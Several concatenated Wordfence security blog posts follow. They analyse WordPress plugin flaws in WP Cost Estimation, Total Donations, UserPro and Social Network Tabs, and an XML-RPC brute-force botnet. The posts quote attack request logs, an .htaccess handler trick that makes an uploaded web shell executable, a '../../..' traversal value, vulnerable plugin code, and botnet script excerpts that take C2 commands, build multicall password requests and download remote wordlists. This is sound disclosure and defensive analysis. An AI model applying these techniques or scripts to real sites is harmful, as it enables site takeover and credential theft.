Vulnerabilities Patched in WP Cost Estimation Plugin

At the end of January, Wordfence security analysts identified attackers exploiting vulnerabilities in outdated versions of the commercial plugin WP Cost Estimation & Payment Forms Builder, or WP Cost Estimation for short. These flaws were found and patched by the developer a few months ago, but no official public disclosure was made at the time. Following this discovery, our threat intelligence team reviewed updated versions of the plugin for additional security issues. We reported an unpatched directory traversal vulnerability to the developer, Loopus Plugins, who has since released an update addressing the issue. This flaw is present in plugin versions before 9.660.

Any sites using the plugin should update it to the latest available version. Wordfence WAF users, both free and paid, are already protected from each of these vulnerabilities thanks to broad rules built into the firewall. It is still recommended that Wordfence users perform these updates to ensure their sites are as secure as possible.

In today’s post, we’ll look at the original activity that drew our analysts’ attention to the plugin, then discuss the issues our team identified and disclosed to the developer.

File Upload and Delete Vulnerabilities Exploited In The Wild (Versions < 9.644)

During a forensic review of a compromised site, a Wordfence security analyst identified logs indicating the exploit used to take over the site:

POST /wp-admin/admin-ajax.php?action=lfb_upload_form
POST /wp-admin/admin-ajax.php?action=lfb_upload_form
POST /wp-content/uploads/CostEstimationPayment/_/ngfndfgsdcas.tss

The action lfb_upload_form was traced to the installed WP Cost Estimation plugin, which allowed us to piece together what had taken place. The installed version of the plugin was outdated, and the AJAX action allowing file uploads through form submissions was exploitable.

if (strlen($value["name"]) > 4 &&
$value['size'] < 10485760 &&
strpos(strtolower($value["name"]), '.php') === false &&
strpos(strtolower($value["name"]), '.js') === false &&
strpos(strtolower($value["name"]), '.html') === false &&
strpos(strtolower($value["name"]), '.phtml') === false &&
strpos(strtolower($value["name"]), '.pl') === false &&
strpos(strtolower($value["name"]), '.py') === false &&
strpos(strtolower($value["name"]), '.jsp') === false &&
strpos(strtolower($value["name"]), '.asp') === false &&
strpos(strtolower($value["name"]), '.htm') === false &&
strpos(strtolower($value["name"]), '.shtml') === false &&
strpos(strtolower($value["name"]), '.sh') === false &&
strpos(strtolower($value["name"]), '.cgi') === false
) {

The if statement above served as the only security check on uploaded files in older versions (9.526 in this case), performing some basic filename checks in an attempt to prevent files with executable extensions from being uploaded. Generally speaking, blacklisting uploads based on their filename is not an effective means of implementing upload security, as there tend to be techniques to bypass such methods. One such bypass was used here.

In the log entries above, you may have noticed the lfb_upload_form action being fired twice. This attack involved first uploading a web shell script with a meaningless extension, “ngfndfgsdcas.tss”. While the script was a malicious PHP file, the filename did not contain the string “.php”, and bypassed the blacklist. Then, to allow the uploaded file to execute as a PHP script, the following .htaccess file was uploaded:

AddHandler application/x-httpd-php .tss
AddType application/x-httpd-php .tss

These .htaccess rules associated the “.tss” extension with the PHP handler, allowing the shell to run as a PHP script. As of version 9.644 of WP Cost Estimation, released in October 2018, it is no longer possible to upload a valid .htaccess file to perform this bypass.

Interestingly, despite the attackers’ successful uploads, they quickly followed up with a different exploit against the same plugin. It’s unknown why this second exploit was performed, though it’s our assumption that either the uploaded shell or .htaccess file failed to behave as intended, leaving the attackers to go to Plan B.

In this second attack we see a new AJAX action from WP Cost Estimation, followed by a familiar attack pattern:

POST /wp-admin/admin-ajax.php?action=lfb_removeFile
POST /wp-admin/setup-config.php?step=2
POST /wp-admin/install.php?step=2
GET /wp-login.php
POST /wp-login.php
GET /wp-admin/
GET /wp-admin/theme-install.php?upload
POST /wp-admin/update.php?action=upload-theme
GET /wp-content/themes/AdvanceImage5/config.php

The exploited AJAX action, lfb_removeFile, can be used to delete arbitrary files on a vulnerable site:

public function removeFile(){
$formSession = sanitize_text_field($_POST['formSession']);
$file = sanitize_text_field($_POST['file']);
$fileName = $formSession . '_' . $file;
if(file_exists($this->uploads_dir .$fileName)){
unlink($this->uploads_dir .$fileName);

The workflow for exploiting an arbitrary file delete flaw is usually the same: Delete the vulnerable site’s wp-config.php file. With no database configuration, WordPress assumes a fresh install is taking place. The attacker is then free to connect the site to their own remote database, log in as an administrator, and upload backdoors through the dashboard.

The lfb_removeFile AJAX action (as well as the associated internal removeFile function shown above) were both removed when the developer became aware of exploits and released version 9.644.

New Vulnerability – Upload Directory Traversal

Following the discovery of the earlier patched vulnerabilities, we spent some time reviewing the patches themselves to ensure they were sufficient. In the version we tested, the uploader had been improved in a few ways:

  • The blacklist of disallowed strings in filenames was expanded to block .htaccess uploads.
  • An admin-controlled whitelist of allowed filetypes was added, by default only allowing PNG, JPG, GIF, RAR, and ZIP files.
  • Forms could now have an internal randomSeed value, a short alphanumeric string appended to the user-input upload path in order to prevent existing directories from being accessed.

However, our investigation revealed a bypass case, allowing attackers to overwrite any file with a whitelisted type on an affected site.

 $ext = $this->get_extension($value["name"]);
$allowedFiles = explode(",", $item->allowedFiles);
if (in_array('.' . strtolower($ext), $allowedFiles)) {
if (!is_dir($this->uploads_dir . $formSession . $form->randomSeed)) {
mkdir($this->uploads_dir . $formSession . $form->randomSeed);
chmod($this->uploads_dir . $formSession . $form->randomSeed, $this->chmodWrite);
move_uploaded_file($value["tmp_name"], $this->uploads_dir . $formSession . $form->randomSeed . '/' . $fileName);
chmod($this->uploads_dir . $formSession . $form->randomSeed . '/' . $fileName, 0644);

The code block above, taken from the patched version of the uploadFormFiles function, shows the $formSession and $form->randomSeed variables used in a number of places to define an upload path for a given file.

The intent of this behavior is for each visitor to a site to be given a unique $formSession value as a hidden field in each form, so files they upload can be grouped appropriately in directories. However, this value is ultimately user-supplied when the form is submitted, and is susceptible to directory traversal attacks. For example, submitting a $formSession value like ../../.. would place the uploaded file in the document root of a site, rather than in wp-content/uploads/CostEstimationPayment as intended.

This vulnerability is mitigated in part by the addition of the randomSeed value, which would break most directory traversal attempts by appending a random alphanumeric string following the $formSession input. Uploads could still be made to unintended directories, but it would prevent existing files from being overwritten.

Unfortunately, only forms created in the patched version would have an associated randomSeed value stored in the database. Forms which existed prior to the patch, which would certainly be the case for the majority of users, had an empty randomSeed value. This empty value does nothing when appended to the $formSession path, which leaves these forms vulnerable.

Even with a whitelist only allowing images and archives to be uploaded, an attacker could cause serious trouble with an exploit. Any image on a site could be overwritten, allowing defacement campaigns to replace them en masse. If any backups are kept in an accessible location in a zip archive, an attacker could replace this backup with their own poisoned version, containing new users in the database or backdoors buried elsewhere in the file structure. When the backup is restored (perhaps following a mysterious case of overwritten images), these backdoors would be deployed.

Coordinated Disclosure

Once we became aware of the remaining issues, we contacted the developer to begin the process of patching them. We quickly received a response from Charly Biscay of Loopus Plugins. Vendor responses to vulnerability disclosures can be unpredictable, if a response comes at all, but Charly was happy to be notified and worked closely with us through the process of developing a patch.

For this patch, we made three recommendations which were all implemented:

  1. Reject any $formSession containing any non-alphanumeric characters.
  2. Generate new randomSeed values for forms where a value is not present.
  3. Implement .htaccess restrictions in upload directories, so scripts are inaccessible in the event that a successful upload takes place.

The timeline of the discovery, disclosure, and patching of this flaw is as follows:

2019-01-26: Upload directory traversal vulnerability discovered. Vendor contacted through form on CodeCanyon profile.
2019-01-28: Received response from vendor. Continued correspondence via email. Informed vendor of specific issues in WP Cost Estimation plugin.
2019-01-31: Patched version of WP Cost Estimation plugin released on CodeCanyon.

Next Steps

As usual, updating to the latest version of WP Cost Estimation should be made a priority. If your site has been running a vulnerable version of the plugin and you believe your site may have been compromised, consider working with our team on a security audit.

Some good news, sites making use of the Wordfence Firewall are in the clear. Exploits against each vulnerability described in this post are blocked by broad rules which were already built into the WAF, so free users don’t even need to wait. Still, even as a Wordfence user, we recommend performing all available plugin and theme updates to ensure the security of your site.


To recap, our team identified attacks against outdated versions of the WP Cost Estimation & Payment Forms Builder plugin for WordPress. After review, we identified additional flaws and reported these to the developer who quickly released a patch. We recommend all users of this plugin update to the latest version as soon as possible.

For any questions regarding our vulnerability disclosure process, please check out our official policy.

Credits: Initial attack data discovered by Security Analyst Nate Smith. Vulnerability assessment and vendor correspondence by Threat Analyst Mikey Veenstra. Thanks to Charly Biscay of Loopus Plugins for the cooperation and quick patch release.

The post Vulnerabilities Patched in WP Cost Estimation Plugin appeared first on Wordfence.

Read More

WordPress Sites Compromised via Zero-Day Vulnerabilities in Total Donations Plugin

The Wordfence Threat Intelligence team recently identified multiple critical vulnerabilities in the commercial Total Donations plugin for WordPress. These vulnerabilities, present in all known versions of the plugin up to and including 2.0.5, are being exploited by malicious actors to gain administrative access to affected WordPress sites. We have reserved CVE-2019-6703 to track and reference these vulnerabilities collectively.

It is our recommendation that site owners using Total Donations delete–not just deactivate–the vulnerable plugin as soon as possible to secure their sites. The following article details the issues present in Total Donations, as well as the active attacks against the plugin. We’ll also take a look at our disclosure process, and the steps we took in our attempts to contact the plugin’s developers to reach a resolution.

Curious Access Logs

As is the case with many investigations, this discovery was directly aided by an attacker’s mistake. During the course of remediating a compromised site, an analyst identified a series of suspicious AJAX actions in the site’s access log (extra data has been removed for clarity):

POST /wp-admin/admin-ajax.php?action=migla_getme
POST /wp-admin/admin-ajax.php?action=migla_getme
POST /wp-admin/admin-ajax.php?action=miglaA_update_me
POST /wp-admin/admin-ajax.php?action=miglaA_update_me
GET /wp-login.php?action=register

Searching the site’s codebase for the strings migla_getme and miglaA_update_me revealed the installed Total Donations plugin, and we quickly identified the exploited vulnerabilities as well as the attacker’s workflow.

The mistake made by the attacker was the use of ?action= in the query strings of these requests. WordPress’s AJAX API treats $_GET['action'] and $_POST['action'] the same, so if action was passed in the POST body of the request instead of the query string, the activity wouldn’t have been nearly as obvious.

Multiple Vulnerable AJAX Actions

Total Donations registers a total of 88 unique AJAX actions into WordPress, each of which can be accessed by unauthenticated users by querying the typical /wp-admin/admin-ajax.php endpoint. We have determined that 49 of these 88 actions can be exploited by a malicious actor to access sensitive data, make unauthorized changes to a site’s content and configuration, or take over a vulnerable site entirely.

Some of the more noteworthy issues are as follows:

Arbitrary Options Updates Leading To Site Takeover

The most immediately obvious flaws in Total Donations allow unauthenticated users to read and update arbitrary WordPress options, and these are where we’ve identified active exploitation in the wild.

add_action("wp_ajax_migla_getme", "migla_getme");
add_action("wp_ajax_nopriv_migla_getme", "migla_getme");

function migla_getme(){
$r = get_option($_POST['key']);
echo $r;

The functions migla_getme (shown above) and migla_getme_array both allow an unprivileged attacker to read the value of any WordPress option.

add_action("wp_ajax_nopriv_miglaA_update_me", "miglaA_update_me");
add_action("wp_ajax_miglaA_update_me", "miglaA_update_me");

function miglaA_update_me() {
$key = $_POST['key'];
$value = $_POST['value'];

update_option( $key , $value);


miglaA_update_me (shown above), miglaA_update_arr, and miglaA_update_barinfo (which is actually identical to miglaA_update_me) can all be used to modify the values of these options.

Together, migla_getme and miglaA_update_me can be used to enable the users_can_register option, and set default_role to “administrator”. With these settings in place, anyone can freely register an account with administrative permissions on the vulnerable site, where they can perform further malicious activity without issue.

Access, Modify, and Delete Recurring Stripe Payment Plans

Total Donations can connect to Stripe as a payment processor, and can make use of Stripe’s Plans API to schedule recurring donations. Unfortunately, none of the AJAX functions used to interact with these plans feature any access control.

add_action("wp_ajax_miglaA_stripe_addPlan", "miglaA_stripe_addPlan");
add_action("wp_ajax_nopriv_miglaA_stripe_addPlan", "miglaA_stripe_addPlan");

function miglaA_stripe_addPlan(){

require_once 'migla-call-stripe.php'; 
Migla_Stripe::setApiKey( migla_getSK() );

if( !isset($_POST['interval_count']) || empty($_POST['interval_count']) ){ 
$_count = 1; 
$_count = $_POST['interval_count'] ;

$plan = MStripe_Plan::create(
"amount" => $_POST['amount'],
"interval" => $_POST['interval'],
"interval_count" => $_count,
"name" => $_POST['name'],
"currency" => get_option('migla_default_currency'),
"id" => $_POST['id']

$plan_array = $plan->__toArray(true);

$post_id = migla_get_stripeplan_id();

add_post_meta( $post_id, 'stripeplan_'.$_POST['id'], $plan_array );

echo $arr;

These functions, including miglaA_stripe_addPlan (shown above), miglaA_syncPlan, and miglaA_stripe_deletePlan, can be exploited to make unauthorized changes to an affected site’s recurring donations.

Additionally, when combined with the arbitrary options update flaw present in miglaA_update_me, an attacker can modify the options which store Stripe’s API keys in order to route incoming donations to a different Stripe account entirely.

Access Constant Contact and Mailchimp Mailing Lists

Sites seeking to perform donation drives will often make use of mailing lists to drive these campaigns, and Total Donations includes functionality which can integrate its own campaigns with mailing lists through both Constant Contact and Mailchimp.

add_action("wp_ajax_miglaA_retrieve_cc_lists", "miglaA_retrieve_cc_lists");
add_action("wp_ajax_nopriv_miglaA_retrieve_cc_lists", "miglaA_retrieve_cc_lists");

function miglaA_retrieve_cc_lists()
$cc = new migla_constant_contact_class();
$theList = $cc->get_milist();

echo $theList;

Just like the rest of these functions, miglaA_mailchimp_getlists and miglaA_retrieve_cc_lists (shown above) both fail to perform any sort of permissions checks before returning data associated with a connected account’s mailing lists.

Other Miscellaneous Vulnerabilities

A number of other vulnerabilities exist in the plugin, which are moot when an attacker can gain administrative access and perform any other activity manually from there. However, in the interest of illustrating the scope of Total Donation’s issues, here’s a few of them.

add_action("wp_ajax_miglaA_export_report", "miglaA_export_report");
add_action("wp_ajax_nopriv_miglaA_export_report", "miglaA_export_report");

function miglaA_export_report() 
global $wpdb;
$meta = array();
$meta = $wpdb->get_results(
"SELECT DISTINCT meta_key FROM {$wpdb->prefix}postmeta where meta_key like 'miglad%' OR meta_key like 'miglac%'"

$PID = array();
$PID = $wpdb->get_results( 
"SELECT ID FROM {$wpdb->prefix}posts WHERE post_type like %s ORDER BY ID", $_POST['post_type']

$data = array();
$row = 0;

foreach( $PID as $id )
foreach( $meta as $m )
$data[$row][$m->meta_key] = get_post_meta( intval( $id->ID ) , $m->meta_key, true );
$data[$row]['id'] = intval( $id->ID ) ;

echo json_encode($data);

miglaA_export_report, a function intended to produce donation reports, can allow unauthenticated access to private and unpublished posts.

function updateACampaignCretor($old, $new , $form_id)
$sql = "UPDATE {$wpdb->prefix}posts SET post_title = '".$new."' WHERE ID ='".$form_id."'";

miglaA_save_campaign and miglaA_save_campaign_creator both call the internal function updateACampaignCretor (sic), which can be vulnerable to SQL injection if WordPress’s wp_magic_quotes feature is bypassed. Without bypassing, it can still be used to change arbitrary post titles on a vulnerable site.

add_action("wp_ajax_miglaA_test_email", "miglaA_test_email");
add_action("wp_ajax_nopriv_miglaA_test_email", "miglaA_test_email");

function miglaA_test_email()
$postData = array();
$postData['miglad_email'] = $_POST['testemail'];
$postData['miglad_firstname'] = 'John';
$postData['miglad_lastname'] = 'Doe';
$postData['miglad_amount'] = 100;
$postData['miglad_date'] = date("Y-m-d", time());
$postData['miglad_address'] = "Houwei Ave Road";
$postData['miglad_country'] = "Canada";
$postData['miglad_province'] = "British Columbia";
$postData['miglad_postalcode'] = "1234";
$postData['miglad_campaign'] = 'Save Sun Bears';
$postData['miglad_repeating'] = 'no';
$postData['miglad_anonymous'] = 'no';
$ne = get_option('migla_notif_emails');

$test = mg_send_thank_you_email( $postData, $_POST['email'], $_POST['emailname'] );
mg_send_notification_emails( $postData, $_POST['email'], $_POST['emailname'] , $ne );

if( $test ){ 
echo "Email has been sent to ".$_POST['testemail']; 
} else { 
echo "Sending email failed"; 


Multiple actions, including miglaA_test_email, can be abused by an attacker to send test emails to an arbitrary address. This can be automated as a Denial of Service (DoS) for outbound email, either by triggering a host’s outgoing mail relay limits, or by causing the victim site to appear on spam blacklists.

Plugin Abandoned, No Developer Response

These security flaws are considered zero-day vulnerabilities due to their active exploitation and a lack of an available patch. On January 16th, we worked to contact Total Donations’ development team, Calmar Webmedia, in order to work together to produce a patch and protect affected users. Unfortunately, the process of making this contact revealed that a solution may not ever be coming.

The official Total Donations site currently displays this Coming Soon splash page, and has since May 2018.

There currently do not appear to be any legitimate means of acquiring the latest version of Total Donations. The plugin’s homepage currently displays a Coming Soon page, featuring a mockup image of a new website. The upload path of this image implies the site has been in this state since May 2018.

The plugin was formerly distributed via Envato’s CodeCanyon marketplace. Total Donations is no longer available for purchase, but its reviews page is still accessible.

Negative reviews about absent developer support go back years.

The most common issue cited in these reviews is a lack of product support, with complaints up to three years old detailing a complete lack of responsiveness from the plugin’s developers. As a security researcher hoping to make urgent contact regarding an active threat, this was an early bad omen.

The seller profile associated with Total Donations contained information and support links to Calmar Webmedia, a Vancouver-based development firm. However, this project appears to have been abandoned as well. The company’s support page loads a blank screen, likely a White Screen of Death, and the Request A Quote page just displays a nonfunctional shortcode.

One still-functional element of Calmar Webmedia’s site is a JavaScript animation of a stick figure running from a tank, present in the footer of every page.

Ultimately, the only official method of contacting Calmar Webmedia was a contact form available in the footer of the company’s home page. On January 16th we submitted a request for contact through this form, and have not received any acknowledgement from Calmar Webmedia.

Because of the lack of any developer response, the apparent abandonment of the Total Donations plugin, and the active attacks on vulnerable sites, as per our published disclosure policy we have released this disclosure as a means of making the community aware of the threat.

Delete the Plugin, Don’t Just Deactivate It

As we suggested earlier in this post, in order to completely secure an affected site the Total Donations plugin should be deleted entirely, not just deactivated. This is due to an alternate AJAX endpoint built into Total Donations by its developers.

$action = esc_attr(trim($_POST['action']));

//For logged in users
add_action("wp_ajax_".$action , $action); 
add_action("wp_ajax_nopriv_".$action , $action);


The script, the-ajax-caller.php, loads the site’s WordPress environment and subsequently registers and executes whichever AJAX action is passed, even when Total Donations is deactivated. This can also be used to call any arbitrary function, regardless of whether it’s associated with the Total Donations plugin at all, posing additional security risks on its own.

Next Steps

We will continue to track malicious activity associated with CVE-2019-6703 going forward, and will report on any noteworthy changes in this activity.

We have released a firewall rule to protect sites using the Wordfence WAF from these vulnerabilities, which our Premium subscribers have already received. Sites protected by the free version will receive it following our standard delay of thirty days. Given the severity of the vulnerabilities we strongly recommend that everyone, including our Premium customers, remove the plugin from their site and seek an alternative.

Please consider sharing this disclosure in order to improve awareness of these threats, and if someone you know uses the plugin on one of their sites warn them immediately.

For any questions regarding our decision to disclose these unpatched flaws, please refer to our Vulnerability Disclosure Policy.

Credits: Initial attack data discovered by Security Analyst Nate Smith. Vulnerability assessment and vendor research performed by Threat Analyst Mikey Veenstra, with additional review by Matt Rusnak and Ramuel Gall. Edited by Dan Moen and Mark Maunder.

The post WordPress Sites Compromised via Zero-Day Vulnerabilities in Total Donations Plugin appeared first on Wordfence.

Read More

A Tale of Two Vulnerabilities: Using Commercial Plugins Responsibly

As the most popular CMS on the market, one of the major draws of WordPress is a rich ecosystem of plugins made available by the community. The plugin repository makes the process of installing and updating plugins a seamless experience in the dashboard of a site, and a team of volunteers works to maintain the repository as new plugins are submitted and abandoned ones fade away.

The official repository is just one of many places where a site owner can find plugins, though. Since any plugin made available in the repository must be free, third-party marketplaces are a common source of commercial plugins and themes that don’t need to follow the same rules. Some plugin developers even choose to sell their software from their own sites, without involving a marketplace in the transaction.

These third-party sources can be an excellent way to find well-supported commercial plugins for a new WordPress site, offering features that may not be common among free alternatives. However, these sources lack some advantages inherent to the official repository that can cause issues for unaware site owners over time.

In the following post, we’ll be taking a look at two recent examples of security issues in plugins sourced from outside the official plugin repository that are currently being exploited. We’ll also go over some best practices for using commercial plugins responsibly in order to keep your sites secure in the long term.

UserPro Plugin Flaw Allows Administrator Registration

In a proof of concept exploit published this month, it was revealed that versions older than 4.9.21 of the commercial plugin UserPro contain a security flaw allowing new users to register themselves with Administrator permissions, granting them control of affected sites.

UserPro’s default account registration form.

By manipulating the account registration form on a site, or by intercepting and editing requests from a standard form, attackers can add a role parameter to their registration submission. The plugin will accept this input and assign the chosen role to the newly created user. With a newly created administrator account, an attacker can upload a malicious plugin or undergo other nefarious activity freely.


Screenshot snippet of a manipulated HTTP request to the account registration handler.

This flaw was patched in March of 2018, but we’re still seeing active exploitation of vulnerable versions. This highlights one major concern with introducing off-repository commercial plugins: updates.

When a plugin is available on the official repository, WordPress is able to keep track of the version present on your site and compare that to the latest available version. When an update is available, users receive notifications in their dashboard and can issue the update directly from there. In extreme cases of critical vulnerabilities, the repo’s maintainers can even flag vulnerable plugins to automatically update.

Commercial plugins generally lack these protections, as it would rely on the developer to maintain their own repository for all installed copies of their plugins to test against. Updating a commercial plugin often involves manually uploading a new copy, which less-savvy users can be hesitant to do. This also assumes users are periodically checking in on the development process of each of their installed plugins to even become aware that an update is necessary. Since many sites are built by a developer and handed off to the owner to maintain,  these owners may not have any idea these extra steps are necessary at all.

In the case of this UserPro vulnerability, we’ve developed a firewall rule to prevent attackers from defining their own role when registering an account.

Social Network Tabs Plugin Leads To Twitter Hijacking

In a full disclosure published on Twitter and later reported by TechCrunch, security researcher Baptiste Robert detailed a flaw in Social Network Tabs which leaks private access tokens associated with a site’s Twitter account.

jQuery snippet from an affected site. Source:

This flaw has not been patched and its latest available version remains vulnerable. In this case, it’s possible a patch isn’t coming. Neither the plugin itself, nor the developer’s blog, have been updated in over five years. On the bright side, Robert has worked with Twitter to identify as many affected accounts as possible in an attempt to mitigate the impact of this data exposure.

When a plugin on the official repository is abandoned, there are policies in place to allow new developers to pick up where the former ones left off. Even when they’re not taken over, solutions like Wordfence can identify when a plugin has been abandoned and alert site owners of the problem so it can be addressed.

Unfortunately because this sensitive data exposure requires no input from abusers, it’s not possible to protect affected sites with a firewall rule. For affected users, it’s highly recommended to discontinue use of the Social Network Tabs plugin and look into alternatives. Twitter has been made aware of a number of leaked access tokens and has revoked them for the safety of their users. but affected users should immediately change their Twitter passwords and review their accounts for suspicious activity.


Third-party marketplaces, as well as developers who self-publish commercial plugins, can be a great source of software for people to add to their WordPress sites. When using these unofficial sources, though, site owners need to remain mindful. These plugins often won’t alert users when an update is available, so even vulnerabilities patched by the software vendor can remain present on sites for a considerable amount of time. Also, when checking your commercial plugins for updates, remain aware of how long it’s been since the last patch. If a plugin hasn’t seen an update in a year or more, consider finding a better-supported alternative.

The UserPro plugin vulnerability has received a firewall rule to block attacks on sites behind the Wordfence WAF. Wordfence users with Premium licenses will have received this new rule by the time this post is published. Free users will gain access to the rule after a standard thirty-day delay.

Thank you for reading, and please consider sharing this article to raise awareness of these vulnerabilities as well as the best practices for using commercial WordPress plugins.

The post A Tale of Two Vulnerabilities: Using Commercial Plugins Responsibly appeared first on Wordfence.

Read More

Botnet of Infected WordPress Sites Attacking WordPress Sites

The Defiant Threat Intelligence team recently began tracking the behavior of an organized brute force attack campaign against WordPress sites. This campaign has created a botnet of infected WordPress websites to perform its attacks, which attempt XML-RPC authentication to other WordPress sites in order to access privileged accounts.

Between Wordfence’s brute force protection and the premium real-time IP blacklist, we have blocked more than five million malicious authentication attempts associated with this attack campaign in the last thirty days alone.

The threat actors (hackers) use a group of four command and control (C2) servers to send requests to over 14,000 proxy servers provided by a Russian proxy provider called best-proxies[.]ru. They use these proxies to anonymize the C2 traffic. The requests pass through the proxy servers and are sent to over 20,000 infected WordPress sites. Those sites are running an attack script which attacks targeted WordPress sites. The diagram below illustrates the attack chain.

In the post below, we describe this attack chain in detail for the benefit of researchers, vendors and security operations teams. We have omitted or redacted data in some cases because the C2 servers and infected WordPress sites are still online and may be exploited by others. Our team is sharing data with law enforcement related to this investigation. We are also providing data to affected hosts to help them remediate infected machines on their networks.

Brute Force Attack Scripts Identified

In our research of this campaign we determined that the IPs performing the brute force attacks were nearly all associated with popular web hosting providers, and that the attacks were all targeting WordPress’s XML-RPC interface at /xmlrpc.php. We also noted that the User-Agent strings associated with these requests matched those used by applications commonly seen interacting with the XML-RPC interface, like wp-iphone and wp-android. Since these applications typically store credentials locally, it was unusual to see a significant amount of failed logins from them, which drew our attention. We identified over 20,000 WordPress slave sites that were attacking other WordPress sites.

WordPress Attacking WordPress

With this data in hand, we went on to identify brute force attack scripts present on infected WordPress sites matching the attacks we were tracking. The scripts target the XML-RPC interface of WordPress sites to test username/password pairs, and randomly spoof the User-Agent string of each request:

foreach ($request as $i => $id) {
    $xmlualist  = array("Poster", "WordPress", "Windows Live Writer", "wp-iphone", "wp-android", "wp-windowsphone");
    $xmlual = $xmlualist[array_rand($xmlualist)];

The brute force script takes command and control (C2) input via POST in order to define some execution settings, such as a JSON array of targeted domains and a local wordlist to be used:

if ($_POST['secret']=='111'){
    $timer = time();
    ini_set('memory_limit', '-1');
    ini_set('max_execution_time', 500000000000);
    $request = array();
    if(checkWordsList($_POST['wordsList'], $_POST['path'], $_POST['hash'])){
        $domainsData = json_decode($_POST['domainsData'], true);
        foreach($domainsData as $item){
            $brutePass = createBrutePass($_POST['wordsList'], $item['domain'], $item['login'], $_POST['startPass'], $_POST['endPass']);
            $request[] = array('id'=>$item['id'], 'user'=>$item['login'], 'request'=>createFullRequest($item['login'], $brutePass),'domain'=>'http://' . trim(strtolower($item['domain'])).'/xmlrpc.php', 'brutePass'=>$brutePass);


Dynamic Wordlist Generation

The wordlists associated with this campaign contain small sets of very common passwords. However, the script includes functionality to dynamically generate appropriate passwords based on common patterns. A few examples of these patterns are:

  • %domainPattern%
  • %userName%
  • %userName%1
  • %userName%123
  • %userName%2018
  • %userName%2017
  • %userName%2016

In other words, if the brute force script was attempting to log on to as the user alice, it will generate passwords like example, alice1, alice2018, and so on. While this tactic is unlikely to succeed on any one given site, it can be very effective when used at scale across a large number of targets.

Multicall Functionality

WordPress’s XML-RPC interface saw an upswing in brute force attacks in 2015, when attacks leveraging multicall functionality became popular. In short, using this interface an attacker could send a large number of user/password pairs in a single request. WordPress would test each pair, and return a list of successes and failures. This technique made the brute force attack process much easier to launch at scale, since an attacking device would only need to send a single batch of credentials and wait for a reply.

The brute force script in this campaign is built to perform this type of multicall attack by default. The code snippet below shows the function that, when given a username and array of passwords, will assemble a single XML object containing all of the passwords to be attempted.

function createFullRequest($login, $passwords){
    $xml = createRequestXML();
    for($i = 0; $i < count($passwords); $i++){ $xml = addElementXML($xml, $login, $passwords[$i]); } $request = $xml->saveXML();
    return $request;

The C2 systems issuing instructions to the brute force script can optionally define $startPass and $endPass variables, which tell the script to only attempt a subset of passwords on a given list instead of running the entire set.

Multicall Attacks No Longer Effective (Mostly)

Many WordPress users may not be aware that this XML multicall attack is no longer effective. A patch to wp-includes/class-wp-xmlrpc-server.php was introduced in WordPress 4.4. With this patch, if one login attempt in an XML-RPC request fails on a targeted website, that website will immediately fail all subsequent attempts in the same request, even if the credentials are valid.

The XML-RPC patch to WordPress 4.4 was released quietly, and isn’t disclosed in the release notes. It also hasn’t been backported to earlier WordPress branches like the majority of security fixes, despite being a relatively uninvasive patch. To clarify, even if a site is on the latest security release of a WordPress branch from 4.3 and older, it can be vulnerable to this attack method.

The attackers in this campaign seem to be aware of this improvement. A number of requests from C2 systems to (formerly) infected sites have been intercepted by the Wordfence firewall, and these requests all define the same value for the $startPass and $endPass parameters described above. This means that the attack scripts end up attempting authentication with one user/password combination at a time, effectively deprecating the script’s own multicall functionality.

Attacker Infrastructure Revealed

As mentioned above, we’ve been able to capture requests sent from C2 systems to the network of infected WordPress sites, and have been successful in acquiring a great deal of intelligence from this data.

Central C2 Servers Identified

The attack chain in this campaign made use of multiple layers of abstraction between the attacker and target sites. Brute force attacks are executed by a network of infected WordPress sites, which receive instructions via a network of proxy servers, so it would typically be very difficult to track the central C2 servers behind it all. We were fortunate, though, that the attacker made some mistakes in their implementation of the brute force scripts.

Since the scripts each make use of wordlists stored on the same infected WordPress site, they include functionality to regenerate these wordlists if necessary:

function checkWordsList($filename, $path, $hash){
    if(file_exists($_SERVER["DOCUMENT_ROOT"].'/'.$filename) and md5_file($_SERVER["DOCUMENT_ROOT"].'/'.$filename) == $hash){
        return true;
        downloadCurlTarg($path, $_SERVER["DOCUMENT_ROOT"].'/'.$filename);
        if(file_exists($_SERVER["DOCUMENT_ROOT"] . '/' . $filename) and md5_file($_SERVER["DOCUMENT_ROOT"] . '/' . $filename) == $hash){
            return true;
            return false;

The checkWordsList() function is passed a $path argument which defines a remote address containing the wordlist to be used. If the local wordlist is missing, the script will download the list from the given address. This path is provided alongside the rest of the POST data sent from the proxy servers to the brute force script. Requests intercepted by our firewall included this path, which contained an IP address.

This IP pointed to a server which contained a login page, which suggested we found something big.

Simple login screen found on the C2 servers.

We went on to identify a total of four active command and control servers involved in the brute force campaign.

C2 Interface Access

Brief analysis of the C2 sites revealed that, despite the login page, authentication to these systems wasn’t actually enforced. Attempting to access pages on the C2 interface would trigger a 302 redirect to the login page, but the application still sent the page data alongside the redirect.

cURL request to the homepage of a C2 server. Note the 302 redirect to /login.php, as well as the HTML response that follows it.

Using BurpSuite, we created a proxy rule that ignores this login redirect, which gave us the ability to browse the interface of the C2 application freely. Contained within the interface was a number of features, including the ability to access a list of “slaves”, which referred to the infected WordPress sites containing brute force scripts.

One view available in the C2 interface showing a list of logs exported by the attacker.

Identified Connection To

With access to the interfaces of these C2 servers, we were able to identify the relationship between these servers and the proxy servers issuing commands to the “slave” sites. Each server contained a file in its webroot named proxy.txt. This file contains a list of nearly ten thousand SOCKS proxy addresses, with IP addresses and ports. These IP addresses coincided with the proxy servers we had previously identified, suggesting the C2 uses this file to randomly select a proxy when issuing each attack. We identified 14,807 proxy servers.

Interestingly, the proxy.txtfile on one of the C2 servers didn’t contain a list of proxy addresses, but instead contained an HTML document. The document was a copy of a 503 Service Unavailable error, including a link to Also in this document was Russian text which translates to “Authorization error: The validity period of this key is over, you can buy a new key.”

It turns out, even hackers forget to pay their bills.

Screenshot of the error document stored on a C2 server, suggesting the attacker failed to renew the API key used to access proxy lists.

Given the circumstances, it’s probable that the C2 server sources its list of SOCKS proxies from by directly storing the API response in proxy.txt. When the API returns an error, this error overwrites the proxy list.

C2 Servers and “Bulletproof” Hosts in Romania, Netherlands and Russia

The C2 servers we identified are hosted with providers known in the security community as “bulletproof” hosts. “Bulletproof” refers to hosts that are known for lax (if any) enforcement of abuse policies and legal action, making them a de facto safe haven for malicious activity.

According to MaxMind’s GeoLite2 ASN database, three of the identified C2 servers are associated with a company called HostSailor. HostSailor has been in the news for infamously threatening KrebsOnSecurity after the security publication drew attention to the company’s questionable practices.

Two of the C2 servers hosted at HostSailor are located in the Netherlands and one is in Romania. The remaining C2 server is hosted with SELECTEL, a Russian hosting provider which is referred to as bulletproof in discussions on forums like BlackHatWorld.

